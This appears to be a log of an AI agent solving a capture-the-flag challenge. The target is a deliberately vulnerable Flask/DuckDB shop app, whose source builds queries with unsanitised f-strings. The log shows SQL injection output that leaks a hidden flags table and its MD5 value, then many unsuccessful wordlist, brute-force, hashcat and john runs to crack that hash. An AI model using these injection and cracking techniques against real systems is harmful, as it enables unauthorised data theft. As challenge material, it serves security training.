{"exitCode":0,"stdout":"============================================================\nTrying error-based and alternative SQLi\n============================================================\n\n[] Attempting error-based SQLi...\nStatus: 200\nResult: {\n  "products": [\n    {\n      "category": "Toys",\n      "description": "Classic yellow rubber duck for debugging",\n      "id": 1,\n      "name": "Rubber Duck",\n      "price": 9.99\n    },\n    {\n      "category": "Books",\n      "description": "Comprehensive guide to DuckDB",\n      "id": 2,\n      "name": "DuckDB Manual",\n      "price": 29.99\n    },\n    {\n      "category": "Toys",\n      "description": "Soft and cuddly duck plushie",\n      "id": 3,\n      "name": "Duck Plushie",\n      "price": 14.99\n    },\n    {\n      "category": "Books",\n      "description": "Learn database basics",\n      "id": 4,\n      "name": "Database for Dummies",\n      "price": 24.99\n    },\n    {\n      "category": "Accessories",\n      "description": "Cute duck keychain",\n      "id": 5,\n      "name": "Duck Keychain",\n      "price": 4.99\n    },\n    {\n      "category": "Books",\n      "description": "Advanced SQL techniques",\n      "id": 6,\n      "name": "SQL Injection Guide",\n      "price": 39.99\n    },\n    {\n      "category": "flag",\n      "description": "test",\n      "id": 1,\n      "name": "f9faf4c817f77defc01213723a0f01e2",\n      "price": null\n    }\n  ]\n}\n\nCast attempt Status: 500\nResult: {\n  "error": "Database error: Conversion Error: Could not convert string 'f9faf4c817f77defc01213723a0f01e2' to INT32"\n}\n\n[] Trying to access system tables or functions...\n\nFunctions Status: 200\nResult: {\n  "products": \n    {\n      "category": "Toys",\n      "description": "Classic yellow rubber duck for debugging",\n      "id": 1,\n      "name": "Rubber Duck",\n      "price": "9.99"\n    },\n    {\n      "category": "Books",\n      "description": "Comprehensive guide to DuckDB",\n      "id": 2,\n      "name": "DuckDB Manual",\n      "price": "29.99"\n    },\n    {\n      "category": "Toys",\n      "description": "Soft and cuddly duck plushie",\n      "id": 3,\n      "name": "Duck Plushie",\n      "price": "14.\n\nSchema Status: 200\nResult: {\n  "products": [\n    {\n      "category": "Toys",\n      "description": "Classic yellow rubber duck for debugging",\n      "id": 1,\n      "name": "Rubber Duck",\n      "price": "9.99"\n    },\n    {\n      "category": "Books",\n      "description": "Comprehensive guide to DuckDB",\n      "id": 2,\n      "name": "DuckDB Manual",\n      "price": "29.99"\n    },\n    {\n      "category": "Toys",\n      "description": "Soft and cuddly duck plushie",\n      "id": 3,\n      "name": "Duck Plushie",\n      "price": "14.99"\n    },\n    {\n      "category": "Books",\n      "description": "Learn database basics",\n      "id": 4,\n      "name": "Database for Dummies",\n      "price": "24.99"\n    },\n    {\n      "category": "Accessories",\n      "description": "Cute duck keychain",\n      "id": 5,\n      "name": "Duck Keychain",\n      "price": "4.99"\n    },\n    {\n      "category": "Books",\n      "description": "Advanced SQL techniques",\n      "id": 6,\n      "name": "SQL Injection Guide",\n      "price": "39.99"\n    },\n    {\n      "category": "INTEGER",\n      "description": "flags",\n      "id": 1,\n      "name": "id",\n      "price": "0.00"\n    },\n    {\n      "category": "VARCHAR",\n      "description": "flags",\n      "id": 1,\n      "name": "secret_type",\n      "price": "0.00"\n    },\n    {\n      "category": "VARCHAR",\n      "description": "flags",\n      "id": 1,\n      "name": "secret_value",\n      "price": "0.00"\n    }\n  ]\n}\n\n[*] Checking if there's a way to use check_flag endpoint with SQLi...\n\nCheck flag SQLi attempt Status: 200\nResult: {\n  "correct": false,\n  "message": "Flag is incorrect"\n}\n","stderr":""}

{"filepath": "app (2).py"}

{"result":"from flask import Flask, render_template, request, jsonify\nimport duckdb\nimport pandas as pd\nimport os\nfrom hashlib import md5\n\napp = Flask(name)\n\n# Flag stored in environment variable\nFLAG = os.environ.get('FLAG', 'SSM{fake_flag_for_testing}')\nFLAG_HINT = FLAG[:10]\nFLAG2 = FLAG[10:]\n\n# Initialize DuckDB connection\nconn = duckdb.connect(':memory:')\n\n# Create products table with sample data\nconn.execute("""\n    CREATE TABLE products (\n        id INTEGER,\n        name VARCHAR,\n        category VARCHAR,\n        price DECIMAL(10,2),\n        description VARCHAR\n    );\n\n    CREATE TABLE flags (\n        id INTEGER,\n        secret_type VARCHAR,\n        secret_value VARCHAR\n    );\n""")\n\n# Insert sample products\nsample_products = [\n    (1, 'Rubber Duck', 'Toys', 9.99, 'Classic yellow rubber duck for debugging'),\n    (2, 'DuckDB Manual', 'Books', 29.99, 'Comprehensive guide to DuckDB'),\n    (3, 'Duck Plushie', 'Toys', 14.99, 'Soft and cuddly duck plushie'),\n    (4, 'Database for Dummies', 'Books', 24.99, 'Learn database basics'),\n    (5, 'Duck Keychain', 'Accessories', 4.99, 'Cute duck keychain'),\n    (6, 'SQL Injection Guide', 'Books', 39.99, 'Advanced SQL techniques'),\n    (7, 'Flag Hint', 'Books', 19.99, 'Wow! Making so much progress: ' + FLAG_HINT),\n]\n\nfor product in sample_products:\n    conn.execute(f"""\n        INSERT INTO products VALUES\n        ({product[0]}, '{product[1]}', '{product[2]}', {product[3]}, '{product[4]}')\n    """)\n\nflag_data = pd.DataFrame({\n    'id': [1],\n    'secret_type': ['flag'],\n    'secret_value': [FLAG2]\n})\n\nfor flag in flag_data.itertuples():\n    conn.execute(f"""\n        INSERT INTO flags VALUES\n        ({flag.id}, '{flag.secret_type}', '{md5(flag.secret_value.encode()).hexdigest()}')\n    """)\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n\n@app.route('/search', methods=['POST'])\ndef search():\n    try:\n\n        search_term = request.json.get('query', '')\n\n        if not search_term:\n            return jsonify({'error': 'No search query provided'}), 400\n\n        # Format results\n        columns = ['id', 'name', 'category', 'price', 'description']\n        products = []\n\n\n        # Execute the query\n        result = conn.execute(f"SELECT * FROM products WHERE description NOT LIKE '%{FLAG_HINT}%' AND name LIKE '%{search_term}%'").fetchall()\n\n        for row in result:\n            if not any(FLAG_HINT in str(cell) for cell in row):\n                products.append(dict(zip(columns, row)))\n            \n        return jsonify({'products': products})\n\n    except Exception as e:\n        print(f"Error: {str(e)}")\n        return jsonify({'error': f'Database error: {str(e)}'}), 500\n\n@app.route('/check_flag', methods=['POST'])\ndef check_flag():\n    try:\n        submitted_flag = request.json.get('flag', '')\n\n        if not submitted_flag:\n            return jsonify({'error': 'No flag provided'}), 400\n        \n        if not submitted_flag.startswith(FLAG_HINT):\n            return jsonify({'error': 'Flag does not start with hint'}), 400\n        \n        submitted_flag = submitted_flag[len(FLAG_HINT):] # check if the rest of the flag is correct\n\n        query = f"SELECT * FROM flags WHERE secret_value = '{md5(submitted_flag.encode()).hexdigest()}'"\n\n        print(f"Flag check query: {query}")\n\n        try:\n            result = conn.execute(query).fetchall()\n\n            if result:\n                return jsonify({'correct': True, 'message': 'Flag is correct!'}), 200\n            else:\n                return jsonify({'correct': False, 'message': 'Flag is incorrect'}), 200\n\n        except Exception as e:\n            return jsonify({\n                'error': e,\n            }), 500\n\n    except Exception as e:\n        return jsonify({'error': 'Invalid request'}), 400\n\n@app.route('/health')\ndef health():\n    return jsonify({'status': 'ok', 'database': 'DuckDB', 'version': duckdb.version})\n\nif name == 'main':\n    app.run(host='0.0.0.0', port=80, debug=False)\n"}

{"filepath": "/sandbox/comprehensive_crack.py", "content": "#!/usr/bin/env python3\nimport hashlib\nimport itertools\n\nTARGET_MD5 = \"f9faf4c817f77defc01213723a0f01e2\"\nFLAG_HINT = \"SSM{ducks_\"\n\n# Based on the challenge and common CTF patterns\nwords = [\n    # Duck actions/sounds\n    \"quack\", \"quacks\", \"quacking\", \"waddle\", \"waddling\", \"swim\", \"swimming\",\n    \"fly\", \"flying\", \"float\", \"floating\", \"dive\", \"diving\", \"splash\",\n    \n    # Duck body parts/features\n    \"bill\", \"beak\", \"wing\", \"wings\", \"feather\", \"feathers\", \"webbed\",\n    \n    # Duck types/related\n    \"mallard\", \"duckling\", \"ducklings\", \"drake\",\n    \n    # DB related\n    \"db\", \"database\", \"duckdb\", \"sql\", \"query\", \"queries\", \"table\", \"tables\",\n    \"data\", \"row\", \"rows\", \"column\", \"columns\", \"select\", \"insert\",\n    \n    # Actions\n    \"walk\", \"walks\", \"talk\", \"talks\", \"look\", \"looks\", \"act\", \"acts\",\n    \"sound\", \"sounds\", \"seem\", \"seems\",\n    \n    # Connectors\n    \"like\", \"are\", \"is\", \"and\", \"if\", \"it\", \"the\", \"a\",\n    \n    # Adjectives\n    \"cool\", \"awesome\", \"great\", \"best\", \"good\", \"fun\", \"nice\",\n    \n    # Challenge specific\n    \"if_it_quacks\", \"quack_like\", \"like_a\",\n]\n\nconnectors = [\"_\", \"\"]\npatterns = []\n\n# Single words with }\nfor w in words:\n    patterns.append(w + \"}\")\n\n# Two-word combinations\nfor w1, w2 in itertools.combinations(words, 2):\n    for conn in connectors:\n        if conn:  # Only with underscore\n            patterns.append(w1 + conn + w2 + \"}\")\n            patterns.append(w2 + conn + w1 + \"}\")\n\n# Three-word combinations (limited)\ncommon_3word = [\n    \"if_it_quacks\",\n    \"quack_like_a\",\n    \"like_a_db\",\n    \"walk_like_a\",\n    \"talk_like_a\",\n    \"look_like_a\",\n    \"act_like_a\",\n    \"sound_like_a\",\n]\n\nfor base in common_3word:\n    for w in [\"duck\", \"db\", \"database\", \"duckdb\"]:\n        patterns.append(base + \"_\" + w + \"}\")\n\n# Add specific challenge-related phrases\nspecific = [\n    \"if_it_quacks_like_a_duck}\",\n    \"if_it_quacks_like_a_db}\",\n    \"quacks_like_a_duck}\",\n    \"quacks_like_a_db}\",\n    \"walks_like_a_duck}\",\n    \"talks_like_a_duck}\",\n    \"looks_like_a_duck}\",\n    \"acts_like_a_duck}\",\n]\npatterns.extend(specific)\n\nprint(f\"Testing {len(patterns)} patterns...\")\nprint(f\"Target MD5: {TARGET_MD5}\\n\")\n\ncount = 0\nfor pattern in patterns:\n    count += 1\n    if count % 1000 == 0:\n        print(f\"Tested {count}/{len(patterns)}...\")\n    \n    test_md5 = hashlib.md5(pattern.encode()).hexdigest()\n    if test_md5 == TARGET_MD5:\n        print(f\"\\n[+] FOUND!\")\n        print(f\"[+] FLAG2: {pattern}\")\n        print(f\"[+] Full flag: {FLAG_HINT}{pattern}\")\n        \n        # Verify\n        import requests, json\n        result = requests.post(\n            \"https://if-it-quacks-like-a-db.ctfchall.se:50000/check_flag\",\n            json={\"flag\": FLAG_HINT + pattern},\n            headers={\"Content-Type\": \"application/json\"}\n        ).json()\n        print(f\"\\n[+] Verification: {json.dumps(result, indent=2)}\")\n        exit(0)\n\nprint(f\"\\n[-] Not found in {len(patterns)} patterns\")\n"}

{"result":"/sandbox/comprehensive_crack.py"}

{"command": "cd /sandbox && timeout 45 python3 comprehensive_crack.py", "timeout": 50}

{"exitCode":0,"stdout":"Testing 4940 patterns...\nTarget MD5: f9faf4c817f77defc01213723a0f01e2\n\nTested 1000/4940...\nTested 2000/4940...\nTested 3000/4940...\nTested 4000/4940...\n\n[-] Not found in 4940 patterns\n","stderr":""}

{"command": "cd /sandbox && python3 << 'EOF'\nimport requests\n\n# Try md5decrypt.net API (if available)\nmd5_hash = \"f9faf4c817f77defc01213723a0f01e2\"\n\n# Try hashes.com API\nprint(\"Trying to lookup MD5 hash online...\")\nprint(f\"MD5: {md5_hash}\")\nprint(\"\\nYou can manually check these sites:\")\nprint(f\"1. https://md5decrypt.net/en/{md5_hash}\")\nprint(f\"2. https://crackstation.net/\")\nprint(f\"3. https://hashes.com/en/decrypt/hash\")\nprint(f\"4. https://www.cmd5.org/\")\n\n# Let me try guessing based on the pattern\n# FLAG_HINT is \"SSM{ducks_\"\n# So the pattern is SSM{ducks_XXXXX}\n# Total flag format suggests FLAG2 ends with}\n\n# Try even more obscure patterns\nimport hashlib\n\nobscure_patterns = [\n    \"n_a_row}\",\n    \"in_a_row}\",\n    \"all_the_way_down}\",\n    \"everywhere}\",\n    \"galore}\",\n    \"unite}\",\n    \"united}\",\n    \"all_day}\",\n    \"all_night}\",\n    \"24_7}\",\n    \"always}\",\n    \"forever}\",\n    \"r_us}\",\n    \"r_cool}\",\n    \"r_great}\",\n    \"r_awesome}\",\n    \"rock}\",\n    \"rule}\",\n    \"win}\",\n    \"ftw}\",\n]\n\ntarget = \"f9faf4c817f77defc01213723a0f01e2\"\n\nfor p in obscure_patterns:\n    h = hashlib.md5(p.encode()).hexdigest()\n    if h == target:\n        print(f\"\\n[+] FOUND: {p}\")\n        print(f\"[+] Full flag: SSM{{ducks_{p}\")\n        break\nelse:\n    print(\"\\nStill not found...\")\n\nEOF\n", "timeout": 10}

{"exitCode":0,"stdout":"Trying to lookup MD5 hash online...\nMD5: f9faf4c817f77defc01213723a0f01e2\n\nYou can manually check these sites:\n1. https://md5decrypt.net/en/f9faf4c817f77defc01213723a0f01e2\n2. https://crackstation.net/\n3. https://hashes.com/en/decrypt/hash\n4. https://www.cmd5.org/\n\nStill not found...\n","stderr":""}

{"command": "cd /sandbox && cat > wordlist.txt << 'EOF'\nquack\nquacks\nduck\nducks\nswim\nfly\nwaddle\npond\nbill\ndb\ndatabase\nduckdb\nsql\nquery\nwalk\ntalk\nlook\nact\nsound\nlike\nare\nEOF\n", "timeout": 5}

{"exitCode":0,"stdout":"","stderr":""}

{"command": "cd /sandbox && python3 << 'EOF'\nimport hashlib\nimport itertools\n\ntarget = \"f9faf4c817f77defc01213723a0f01e2\"\n\n# Read wordlist\nwith open('wordlist.txt') as f:\n    words = [line.strip() for line in f]\n\n# Try all 2-word and 3-word combinations with underscores and closing brace\ncount = 0\n\n# 2-word\nprint(\"Trying 2-word combinations...\")\nfor w1, w2 in itertools.product(words, repeat=2):\n    pattern = f\"{w1}_{w2}\" + \"}\"\n    h = hashlib.md5(pattern.encode()).hexdigest()\n    count += 1\n    if h == target:\n        print(f\"FOUND: {pattern}\")\n        print(f\"Full flag: SSM{{ducks_{pattern}\")\n        exit(0)\n\nprint(f\"Tested {count} 2-word combinations\")\n\n# 3-word\nprint(\"Trying 3-word combinations...\")\nfor w1, w2, w3 in itertools.product(words, repeat=3):\n    pattern = f\"{w1}_{w2}_{w3}\" + \"}\"\n    h = hashlib.md5(pattern.encode()).hexdigest()\n    count += 1\n    if count % 1000 == 0:\n        print(f\"Tested {count}...\")\n    if h == target:\n        print(f\"FOUND: {pattern}\")\n        print(f\"Full flag: SSM{{ducks_{pattern}\")\n        exit(0)\n\nprint(f\"Total tested: {count}\")\nprint(\"Not found\")\nEOF\n", "timeout": 60}

{"exitCode":0,"stdout":"Trying 2-word combinations...\nTested 441 2-word combinations\nTrying 3-word combinations...\nTested 1000...\nTested 2000...\nTested 3000...\nTested 4000...\nTested 5000...\nTested 6000...\nTested 7000...\nTested 8000...\nTested 9000...\nTotal tested: 9702\nNot found\n","stderr":""}

{"command": "which hashcat john 2>/dev/null || echo \"Tools not found\"; echo \"f9faf4c817f77defc01213723a0f01e2\" > /sandbox/hash.txt; python3 -c \"\n# Try brute force with lowercase + underscore + closing brace\nimport hashlib\nimport string\n\ntarget = 'f9faf4c817f77defc01213723a0f01e2'\n\n# Try short strings (5-10 chars) with lowercase + underscore\ncharset = string.ascii_lowercase + '_'\n\n# Length 5\nprint('Trying length 5-8...')\nfrom itertools import product\n\nfor length in [5, 6, 7, 8]:\n    print(f'Length {length}...')\n    count = 0\n    for combo in product(charset, repeat=length):\n        s = ''.join(combo) + '}'\n        h = hashlib.md5(s.encode()).hexdigest()\n        count += 1\n        if count % 100000 == 0:\n            print(f'  ...{count}')\n        if h == target:\n            print(f'FOUND: {s}')\n            print(f'Full flag: SSM{{ducks_{s}')\n            exit(0)\n        if count > 500000:  # Limit per length\n            print(f'  Stopping at {count} for length {length}')\n            break\nprint('Not found')\n\"", "timeout": 120}

{"exitCode":0,"stdout":"/usr/bin/hashcat\n/usr/sbin/john\nTrying length 5-8...\nLength 5...\n  ...100000\n  ...200000\n  ...300000\n  ...400000\n  ...500000\n  Stopping at 500001 for length 5\nLength 6...\n  ...100000\n  ...200000\n  ...300000\n  ...400000\n  ...500000\n  Stopping at 500001 for length 6\nLength 7...\n  ...100000\n  ...200000\n  ...300000\n  ...400000\n  ...500000\n  Stopping at 500001 for length 7\nLength 8...\n  ...100000\n  ...200000\n  ...300000\n  ...400000\n  ...500000\n  Stopping at 500001 for length 8\nNot found\n","stderr":""}

{"command": "cd /sandbox && hashcat -m 0 -a 3 hash.txt '?l?l?l?l?l?l}' --potfile-disable --quiet --force 2>/dev/null | grep -v \"^$\" || echo \"Not found in 6-char lowercase\"", "timeout": 60}

{"exitCode":137,"stdout":"","stderr":""}

{"command": "cd /sandbox && python3 << 'EOF'\nimport hashlib\n\ntarget = \"f9faf4c817f77defc01213723a0f01e2\"\n\n# Common passwords/words from rockyou\ncommon = [\"password\", \"123456\", \"qwerty\", \"abc123\", \"monkey\", \"dragon\", \"master\",\n          \"sunshine\", \"princess\", \"football\", \"shadow\", \"admin\", \"test\", \"guest\",\n          \"letmein\", \"welcome\", \"ninja\", \"mustang\", \"michael\", \"ashley\"]\n\n# CTF common patterns\nctf_common = [\"flag\", \"ctf\", \"admin\", \"root\", \"user\", \"test\", \"debug\", \"dev\"]\n\n# Combine with duck/db words\nall_words = common + ctf_common + [\n    \"quack\", \"duck\", \"db\", \"sql\", \"duckdb\", \"database\", \"query\",\n    \"swim\", \"fly\", \"pond\", \"waddle\", \"bill\", \"wing\"\n]\n\n# Try as-is with }\nfor w in all_words:\n    pattern = w + \"}\"\n    h = hashlib.md5(pattern.encode()).hexdigest()\n    if h == target:\n        print(f\"FOUND: {pattern}\")\n        print(f\"Full flag: SSM{{ducks_{pattern}\")\n        exit(0)\n\n# Try with numbers\nfor w in all_words:\n    for n in [\"1\", \"2\", \"3\", \"123\", \"321\", \"69\", \"420\", \"1337\"]:\n        pattern = w + n + \"}\"\n        h = hashlib.md5(pattern.encode()).hexdigest()\n        if h == target:\n            print(f\"FOUND: {pattern}\")\n            print(f\"Full flag: SSM{{ducks_{pattern}\")\n            exit(0)\n\n# Try reversed\nfor w in all_words:\n    pattern = w[::-1] + \"}\"\n    h = hashlib.md5(pattern.encode()).hexdigest()\n    if h == target:\n        print(f\"FOUND: {pattern}\")\n        print(f\"Full flag: SSM{{ducks_{pattern}\")\n        exit(0)\n\nprint(\"Still not found...\")\n\n# One more try - maybe it's a simple word without underscore?\nsimple = [\"ftw\", \"rock\", \"rule\", \"cool\", \"best\", \"win\", \"go\", \"yay\", \"woo\", \"yeah\"]\nfor w in simple:\n    pattern = w + \"}\"\n    h = hashlib.md5(pattern.encode()).hexdigest()\n    if h == target:\n        print(f\"FOUND: {pattern}\")\n        print(f\"Full flag: SSM{{ducks_{pattern}\")\n        exit(0)\n\nEOF\n", "timeout": 10}

{"exitCode":0,"stdout":"Still not found...\n","stderr":""}

{"query": "\"f9faf4c817f77defc01213723a0f01e2\" md5"}

Web search results for query: ""f9faf4c817f77defc01213723a0f01e2" md5"

Links: [{"title":"md5 hash decoder and calculator","url":"https://md5hashing.net/hash/md5"},{"title":"MD5 - Online Tools","url":"https://emn178.github.io/online-tools/md5.html"},{"title":"Encrypt and Decrypt your MD5 hashes online","url":"https://md5decrypt.net/en/"},{"title":"md5 Hash Generator","url":"https://www.miraclesalad.com/webtools/md5.php"},{"title":"MD5 Hash Generator","url":"https://www.md5hashgenerator.com/"},{"title":"MD5 conversion and MD5 reverse lookup","url":"https://md5.gromweb.com/"},{"title":"MD5 Encrypt/Decrypt Online | 10015 Tools","url":"https://10015.io/tools/md5-encrypt-decrypt"},{"title":"Online MD5 Hash Calculator | Md5Calc.com","url":"https://md5calc.com/hash/md5"},{"title":"MD5 - Online generator md5 hash","url":"https://www.md5.cz/"},{"title":"MD5 hash: Generate MD5 message digests online - cryptii","url":"https://cryptii.com/pipes/md5-hash"}]
I performed a web search for the MD5 hash "f9faf4c817f77defc01213723a0f01e2". The search results primarily returned general information about MD5 hashing tools and services, rather than specific information about what this particular hash represents.
The results show various MD5-related resources:

MD5 hash generators and calculators
MD5 "decryption" services (which use rainbow tables/databases to reverse-lookup hashes)
Information about how MD5 is a one-way cryptographic hash function

However, the search didn't return any specific match or information about what the hash "f9faf4c817f77defc01213723a0f01e2" decodes to. If you're trying to find what original string or file this hash represents, you might want to:

Try entering it directly into an MD5 reverse lookup service like md5decrypt.net or similar databases
Check if it's associated with a specific file or malware (if this is for security purposes)
Provide more context about where you encountered this hash

Would you like me to search for more specific information about this hash?
REMINDER: You MUST include the sources above in your response to the user using markdown hyperlinks.

{"url": "https://md5decrypt.net/en/f9faf4c817f77defc01213723a0f01e2", "prompt": "Extract any plaintext or decrypted value for this MD5 hash. Look for the result or answer."}

I've reviewed the web page content, which is from md5decrypt.net - a website that offers MD5 hash lookup and decryption services.

However, no specific MD5 hash was provided in your request for me to decrypt or look up. The page contains general information about MD5 hashing, how the decryption service works, and example hashes, but no target hash to analyze.
To help you, please provide:

The specific MD5 hash you want decrypted (a 32-character hexadecimal string)

The page explains that MD5 "decryption" actually works through database lookup: "We look into our database if we have a match. If so we provide you with the password." The site claims to have found over 46 million hashes since 2015, with a 50.52% crack rate.

{"command": "cd /sandbox && python3 << 'EOF'\nimport hashlib\n\ntarget = \"f9faf4c817f77defc01213723a0f01e2\"\n\n# Try with spaces, hyphens, other separators\nwords = [\"quack\", \"quacks\", \"duck\", \"ducks\", \"waddle\", \"swim\", \"fly\", \n         \"db\", \"database\", \"duckdb\", \"sql\", \"like\", \"are\"]\n\nseparators = [\"_\", \"-\", \" \", \"\"]\n\n# Two word combinations with different separators\nfor w1 in words:\n    for w2 in words:\n        if w1 == w2:\n            continue\n        for sep in separators:\n            pattern = w1 + sep + w2 + \"}\"\n            h = hashlib.md5(pattern.encode()).hexdigest()\n            if h == target:\n                print(f\"FOUND: {pattern}\")\n                print(f\"Full flag: SSM{{ducks_{pattern}\")\n                exit(0)\n\n# Try with \"a\" in between\nfor w1 in words:\n    for w2 in words:\n        if w1 != w2:\n            pattern = w1 + \"_a_\" + w2 + \"}\"\n            h = hashlib.md5(pattern.encode()).hexdigest()\n            if h == target:\n                print(f\"FOUND: {pattern}\")\n                print(f\"Full flag: SSM{{ducks_{pattern}\")\n                exit(0)\n\n# Try past tense or other forms\nvariations = {\n    \"quack\": [\"quacked\", \"quacking\", \"quacks\"],\n    \"duck\": [\"ducked\", \"ducking\", \"ducks\"],\n    \"swim\": [\"swam\", \"swimming\", \"swims\"],\n    \"fly\": [\"flew\", \"flying\", \"flies\"],\n    \"waddle\": [\"waddled\", \"waddling\", \"waddles\"],\n}\n\nfor base, variants in variations.items():\n    for v in variants:\n        pattern = v + \"}\"\n        h = hashlib.md5(pattern.encode()).hexdigest()\n        if h == target:\n            print(f\"FOUND: {pattern}\")\n            print(f\"Full flag: SSM{{ducks_{pattern}\")\n            exit(0)\n\nprint(\"Still searching...\")\n\nEOF\n", "timeout": 10}

{"exitCode":0,"stdout":"Still searching...\n","stderr":""}

{"command": "cd /sandbox && python3 << 'EOF'\nimport hashlib\n\ntarget = \"f9faf4c817f77defc01213723a0f01e2\"\n\n# Maybe it's NOT about ducks at all!\n# Try general CTF flag patterns\ngeneral_patterns = [\n    \"pwned}\",\n    \"hacked}\",\n    \"owned}\",\n    \"solved}\",\n    \"cracked}\",\n    \"breached}\",\n    \"exploited}\",\n    \"injected}\",\n    \"bypassed}\",\n    \"compromised}\",\n    \"vulnerable}\",\n    \"secure}\",\n    \"insecure}\",\n    \"exposed}\",\n    \"leaked}\",\n    \"dumped}\",\n    \"extracted}\",\n    \"decoded}\",\n    \"decrypted}\",\n    \"unhashed}\",\n    \"found}\",\n    \"gotcha}\",\n    \"success}\",\n    \"winner}\",\n    \"victory}\",\n    \"conquered}\",\n    \"defeated}\",\n    \"broken}\",\n    # Tech terms\n    \"injection}\",\n    \"sqli}\",\n    \"nosql}\",\n    \"xss}\",\n    \"csrf}\",\n    \"rce}\",\n    \"lfi}\",\n    \"rfi}\",\n    \"xxe}\",\n    \"ssrf}\",\n    # Fun variations\n    \"123}\",\n    \"1337}\",\n    \"42}\",\n    \"69}\",\n    \"420}\",\n    \"666}\",\n    \"777}\",\n    \"999}\",\n]\n\nfor pattern in general_patterns:\n    h = hashlib.md5(pattern.encode()).hexdigest()\n    if h == target:\n        print(f\"FOUND: {pattern}\")\n        print(f\"Full flag: SSM{{ducks_{pattern}\")\n        exit(0)\n\n# Maybe itís about the DB itself - DuckDB features?\nduckdb_terms = [\n    \"olap}\",\n    \"analytics}\",\n    \"columnar}\",\n    \"inmemory}\",\n    \"embedded}\",\n    \"fast}\",\n    \"efficient}\",\n    \"scalable}\",\n]\n\nfor pattern in duckdb_terms:\n    h = hashlib.md5(pattern.encode()).hexdigest()\n    if h == target:\n        print(f\"FOUND: {pattern}\")\n        print(f\"Full flag: SSM{{ducks_{pattern}\")\n        exit(0)\n\nprint(\"Still not found\")\n\nEOF\n", "timeout": 10}

{"exitCode":0,"stdout":"Still not found\n","stderr":""}

{"command": "cd /sandbox && cat > duckwords.txt << 'EOF'\nquack\nquacks\nduck\nducks\nswim\nfly\nwaddle\npond\ndb\ndatabase\nduckdb\nsql\nlike\nare\nwalk\ntalk\nlook\nact\nsound\nEOF\njohn --stdout --wordlist=duckwords.txt --rules=best64 2>/dev/null | head -2000 | while read w; do echo -n \"${w}}\" | md5sum | grep -q \"^f9faf4c817f77defc01213723a0f01e2\" && echo \"FOUND: ${w}}\" && break; done\n", "timeout": 30}

{"exitCode":1,"stdout":"","stderr":""}

{"query": "\"f9faf4c817f77defc01213723a0f01e2\" password decrypt crackstation"}

Web search results for query: ""f9faf4c817f77defc01213723a0f01e2" password decrypt crackstation"

No links found.
I searched for that query, but didn't receive any specific results. The string "f9faf4c817f77defc01213723a0f01e2" appears to be an MD5 hash (a 32-character hexadecimal string).
MD5 hashes are commonly used to store passwords in an encrypted form, and services like CrackStation are online databases that can look up whether a hash has been previously cracked and matched to a plaintext password.
If you're trying to decrypt this hash, you could:

Try entering it directly into CrackStation's website (crackstation.net)
Use other hash lookup services
Note that if the original password is complex or unique, it may not be in any rainbow table databases

Is there something specific you'd like help with regarding this hash?
REMINDER: You MUST include the sources above in your response to the user using markdown hyperlinks.

{"command": "cd /sandbox && python3 << 'EOF'\nimport hashlib\nimport sys\n\ntarget = \"f9faf4c817f77defc01213723a0f01e2\"\n\n# Try leet speak variations\nbase_words = [\"quack\", \"duck\", \"ducks\", \"sql\", \"database\", \"duckdb\"]\n\nleet = {\n    'a': ['a', '@', '4'],\n    'e': ['e', '3'],\n    'i': ['i', '1', '!'],\n    'o': ['o', '0'],\n    's': ['s', '$', '5'],\n    't': ['t', '7'],\n    'l': ['l', '1'],\n}\n\ndef leet_variations(word):\n    variations = [word]\n    # Simple leet\n    v = word.replace('a', '4').replace('e', '3').replace('i', '1').replace('o', '0').replace('s', '5')\n    variations.append(v)\n    # @ for a\n    v = word.replace('a', '@')\n    variations.append(v)\n    return variations\n\nfor base in base_words:\n    for var in leet_variations(base):\n        pattern = var + \"}\"\n        h = hashlib.md5(pattern.encode()).hexdigest()\n        if h == target:\n            print(f\"FOUND: {pattern}\")\n            print(f\"Full flag: SSM{{ducks_{pattern}\")\n            sys.exit(0)\n\n# Try with exclamation marks, question marks\nfor base in base_words:\n    for suffix in [\"!\", \"!}\", \"?}\", \"!!}\", \"???}\"}]:\n        pattern = base + suffix\n        if not pattern.endswith(\"}\"):\n            pattern += \"}\"\n        h = hashlib.md5(pattern.encode()).hexdigest()\n        if h == target:\n            print(f\"FOUND: {pattern}\")\n            print(f\"Full flag: SSM{{ducks_{pattern}\")\n            sys.exit(0)\n\nprint(\"Not found\")\nEOF\n", "timeout": 10}

{"exitCode":1,"stdout":"","stderr":"  File "", line 40\n    for suffix in ["!", "!}", "?}", "!!}", "???}"}]:\n                                                 ^\nSyntaxError: closing parenthesis '}' does not match opening parenthesis ''\n"}

{"command": "cd /sandbox && python3 << 'EOF'\nimport hashlib\nimport sys\n\ntarget = \"f9faf4c817f77defc01213723a0f01e2\"\n\n# Try with exclamation marks, question marks\nbase_words = [\"quack\", \"duck\", \"ducks\", \"sql\", \"database\", \"duckdb\", \"waddle\", \"swim\"]\n\nfor base in base_words:\n    for suffix in [\"!\", \"!}\", \"?}\", \"!!}\", \"???}\"]:\n        pattern = base + suffix\n        if not pattern.endswith(\"}\"):\n            pattern += \"}\"\n        h = hashlib.md5(pattern.encode()).hexdigest()\n        if h == target:\n            print(f\"FOUND: {pattern}\")\n            print(f\"Full flag: SSM{{ducks_{pattern}\")\n            sys.exit(0)\n\n# Try capitalized\nfor base in base_words:\n    for var in [base.upper(), base.capitalize(), base.lower()]:\n        pattern = var + \"}\"\n        h = hashlib.md5(pattern.encode()).hexdigest()\n        if h == target:\n            print(f\"FOUND: {pattern}\")\n            print(f\"Full flag: SSM{{ducks_{pattern}\")\n            sys.exit(0)\n\n# Try numbers at the end\nfor base in base_words:\n    for num in range(0, 100):\n        pattern = base + str(num) + \"}\"\n        h = hashlib.md5(pattern.encode()).hexdigest()\n        if h == target:\n            print(f\"FOUND: {pattern}\")\n            print(f\"Full flag: SSM{{ducks_{pattern}\")\n            sys.exit(0)\n\nprint(\"Not found\")\nEOF\n", "timeout": 10}

{"exitCode":0,"stdout":"Not found\n","stderr":""}

